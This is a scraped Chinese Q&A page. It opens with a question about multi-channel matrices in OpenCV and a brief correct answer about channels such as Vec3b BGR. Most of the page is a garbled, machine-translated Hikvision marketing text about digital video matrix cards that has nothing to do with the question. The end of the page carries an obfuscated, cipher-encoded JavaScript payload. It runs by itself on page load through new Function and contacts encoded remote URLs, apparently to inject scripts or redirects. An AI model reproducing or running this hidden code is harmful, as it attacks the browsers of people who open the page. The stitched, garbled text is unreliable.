在学习opencv的时候看到多通道矩阵这一概率,恳求大神告诉我一下什么意思
推荐回答(3个)
指的是矩阵的元素有几个分量构成。比如矩阵的元素类型是Point3d那么它就是3通道的,因为Point3d是一个三维点(x,y,z),Size2f是2通道的,uchar就是单通道的。
用矩阵表示一幅图像时,如uchar是1通道的灰度图像。彩色图像Vec3b是3通道的,含BGR分量
随着数字技术,硬件和软件水平的快速发展,已经有高性能DSP和高速总线被应用,基于数字技术,使视频矩阵解决方案可以实现。海康威视板生产线在不久的将来将推出一款新车型:DS4002MD,即矩阵解码卡,本产品的基础上,海康威视数字视频矩阵提出解决方案。同时,我们海康威视数字视频矩阵将在新兴安全产业的热点视频矩阵也将成为未来的趋势。
一,基本概念视频矩阵
1。视频矩阵的基本功能和要求
作为视频矩阵,最重要的功能是实现输入输出视频图像切换。准确概括那就是:将视频图像从任何输入通道的任何输出通道切换显示。在一般情况下,一个M×N的矩阵:M表示,它可以支持的图像输入信道和N沟道图像输出。应该强调的是,需要执行任何操作,也就是说,任何一个输入和一个任意的输出。
另外,矩阵系统通常应包括以下基本功能:字符信号叠加,解码器接口控制云台和摄像头,报警接口,控制面板,音频控制箱,报警接口箱,控制键盘等。附件。对于国内用户来说,应该所有汉字叠加利用运营商,以方便不懂英文,矩阵系统还需要支持级联,以实现更高的容量,以适应不同用户对矩阵系统容量的要求,矩阵系统应支持模块化和即插即用(PNP),可以增加或减少视频输入和输出卡的大小不同的组合。
矩阵系统的开发是一个多功能,高容量,并可以联网的远程开关。一般来说为64×16的矩阵系统容量的大容量的矩阵。如果你需要更大容量的矩阵系统,也可以是多矩阵系统级联来实现。矩阵更大的容量,更高的要求的技术水平,设计和实现的难度就越大。
2。分类
不同的方式来实现视频矩阵和矩阵视频矩阵视频切换?分为模拟数字矩阵。
模拟矩阵:
视频切换在模拟视频层完成。信号切换主要用于微控制器或更复杂的芯片控制模拟开关实现。
数字矩阵视频切换在数字视频层完成,这个过程可以是同步或异步。数字视频处理的数字矩阵的核心,它是需要增加的视频输入端子AD转换器,将模拟信号转换成数字信号,以增加DA转换,将数字信号转换成模拟信号输出的视频输出端子。从模拟的模拟开关的核心视频切换矩阵,变量将成为数字视频的处理和传输。
二,数字视频矩阵言
1。数字视频矩阵
高清数字视频矩阵,矩阵?是通过共享总线来实现的,如PCI总线的数据总线型数字传输和交换。
总线矩阵?最常见的PC-DVR和嵌入式DVR。对于PC-DVR,视频输出VGA,通过PC显卡来完成图像的显示,通常只有1个输出(1视频)(2张),2输出的情况下,具有非常小的嵌入式DVR一般的视频输出显示器,一些新的嵌入式DVR,也可以支持VGA显示。另外,在上述的两个例子中,它们可以实现视频输出(也可以是分割画面),这两种产品可以用来作为一种特殊的情况下,视频矩阵,这是一个视频输出只有一个特例。
PC-DVR(PC + H卡,HC卡)组成的总线型数字矩阵
包交换数字视频矩阵
分组交换分组交换矩阵?实现的方式(通常是IP数据包),用于图像数据的传输和交换。分组交换矩阵是?现在比较流行的,如已被广泛用于远程监控中心,结束在本地视频图像的压缩,然后通过网络(可以是高速的专用网络,宽带压缩位流,LAN等)发送到远程,远程解码,显示在大屏幕上。数字分组交换矩阵有两个比较大的电流限制:延迟长,图像质量差。由于网络,因此不可避免地带来的延迟,并在编码时,为了降低对网络带宽的占用,往往需要在发送侧的图像压缩,解压缩在接收侧实现,以确保更好的图像质量通过有损压缩的图像,难以和解码过程也增加了延迟。因此,目前的分组交换矩阵也不太适合实时性能和图像质量要求比较高的场合。
分组交换的数字矩阵
三个数字视频矩阵优势
成本优势:视频矩阵和DVR
数字视频矩阵解决方案相结合,只需要一件设备可以同时实现视频矩阵和DVR的功能,大大节省了成本。矩阵和DVR的控制集成,方便,灵活的控制。如果您使用的模拟矩阵,至少有一个矩阵主机和DVR主机,安装和调试复杂,除了DVR的成本,而且还模拟矩阵付出高额的成本。此外,模拟矩阵的控制,可能还需要添加其他的设备,如显示装置,矩阵控制器,矩阵键盘,和一些复杂的功能,即使需要专用的PC上,以被配置。该方案还需要模拟矩阵视频信号的分配,复用设备来实现DVR的录像功能,而采用数字矩阵,DVR的简单的基础上,你可以添加一个简单的矩阵模块,成本相对较低,数字矩阵,视频系统集成,增强的稳定性,但也降低了未来的维修费用。
功能优势:配置灵活,功能强大,使用方便
+ DVR解决方案在模拟矩阵,矩阵和DVR各自为政,需要单独控制,模拟矩阵提供了复杂的操作模式,缓解不佳,并设有一个单一的,如果你想实现更复杂的功能,你需要一个非常复杂的操作过程,而采用数字矩阵,可以通过一个控制平台实现交换矩阵和DVR的同时控制,操作界面在Windows或二次开发Linux开发人员的自由,根据客户的需求定制应用程序,自定义各种功能,所构建的系统,完全取决于自己的软件开发商的。
数字矩阵,数字图像处理的基础上可以实现视频切换,而大量的图像处理,比如叠加字符,叠加图像,覆盖面积等这些都是现在普遍有一个DVR功能,但模拟矩阵,由于其核心是基于模拟信号处理,在面对这些功能,这似乎是不充分的。在这里,字符叠加功能,例如,往往需要外部模拟矩阵字符叠加芯片来实现,通常只能实现ASCII码是英文字符的叠加,可实现汉字叠加的模拟,可以说是寥寥无几,更不用提同样支持简体和繁体,甚至日文的。至于图像叠加功能,模拟信号层基本上是不可能实现的。
数字矩阵可以提供更丰富的图像显示模式。可以是传统的模拟矩阵简单的1:1的图像输出,也可以实现N→1(通过缩放图像处理的基础上,而数字矩阵,可以实现在一个窗口中显示多个图像)和1→N(显示输入图像同时显示多路输出),甚至画中画等先进功能。最后,系统的稳定性,数字矩阵+ DVR解决方案,系统集成,低功耗,高稳定性,同时使用模拟矩阵溶液,对多个设备的需要,问题的概率大大增加。
潜在空间巨大,开发
模拟矩阵控制系统已经非常成熟,其产品的结构和功能在最近几年,甚至十年,都没有太多改变,可挖掘的潜力已经非常有限的。
数字矩阵?完全不同,目前数字技术的发展可以用日新月异,前途广阔来形容。首先,随着硬件性能的提高在高速总线方面:66M的PCI总线已经很成熟和普及,比如PCI-E或其它的高速串行总线也不断提高,芯片技术已经出现600M,720M甚至是1GHz的高性能DSP,它可以说,得益于硬件平台性能的不断提高,势必使数字矩阵的功能不断升级,不断发展高端。与此同时,软件的进步同样不能被忽视,一直有新的图像压缩,处理算法提出增加图像压缩的效率,但也有更加复杂和智能图像处理算法得到应用,如智能运动检测,智能识别技术(人脸识别,指纹识别,车牌识别,签名识别)目前已经比较成熟的应用程序,这些更高层次的图像处理技术,使用当前的硬件平台,他们已经可以应用到我们的数字视频系统的介质。因此,软件和硬件水平快速增长,我们有理由相信,数字矩阵的发展空间将十分广阔,无论是在性能和全功能绑定在模拟矩阵。
二次开发简单,方便
卡和先前的H和D,分别使用他们的SDK卡,新的SDK将支持H卡,HC卡和MD卡。简单地通过一个软件开发工具包(SDK),可以实现编码,解码,和矩阵控制,一个新的编码的SDK,SDK解码单元和原始编码,解码单元兼容的用户可以简单地增加矩阵控制部分,一个伟大的降低了用户进行二次开发的复杂性。同时:H卡,HC卡和MD卡可以混合到现有项目和扩展,维护方便。
4个,海康威视数字视频矩阵解决方案
我们的数字视频矩阵解决方案是基于海康威视已经推出了HC系列压缩卡和即将发布的MD系列矩阵解码卡实现。 HC是负责系统的视频卡,预览,网络传输,这部分的应用已经非常成熟。而MD卡的关键是实现视频矩阵,MD卡解码卡实现所有原来的功能,增加输出的矩阵实现视频矩阵功能,而HC卡,MD卡,也可以独立,仅使用硬件解码器卡,通过网络连接,也可嵌入到一个远程视频服务器,它可以是海康威板设备构成的网络视频矩阵,这是相同的,并且原来的解码卡,但新卡的功能MD和D卡比较,将有大量的扩展,如解码的大大提高,原来的D卡只有一个DSP解决方案道路,但现在至少有四个可能的解决方案。随着多窗口分割画面功能,用户可以做的解码图象的输出的任何组合。额外的同步功能,可以同步解码器之间的亮。
1。其主要参数:
DS4002MD卡操作系统支持Windows2000/XP中,和Linux。
用作基质:
每张卡支持双通道4路矩阵输出,稳定的支持。
HC卡,可以实现64×4视频矩阵,同时保证实时压缩,64。
解码,:
解码功能,解码器卡,与原来的完全兼容。
每卡支持4通道解码(实时解码4路CIF,2CIF 4路或2路4CIF),2个模拟输出,支持多达64声道解码,32路模拟量输出。
2。 DS4002MD典型场景
⑴本地视频矩阵的形成,实时录音系统
在这个系统中,构成了由HC卡64路DVR系统,这是相同和本卡方案,除了增加2 MD卡,完成4个模拟输出,视频矩阵功能。
一个64×4矩阵+实时数字录像系统
⑵网络矩阵由16 DS4002MD
网络矩阵解码,同时支持64 - 和32路网络视频输出网络监控中心
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();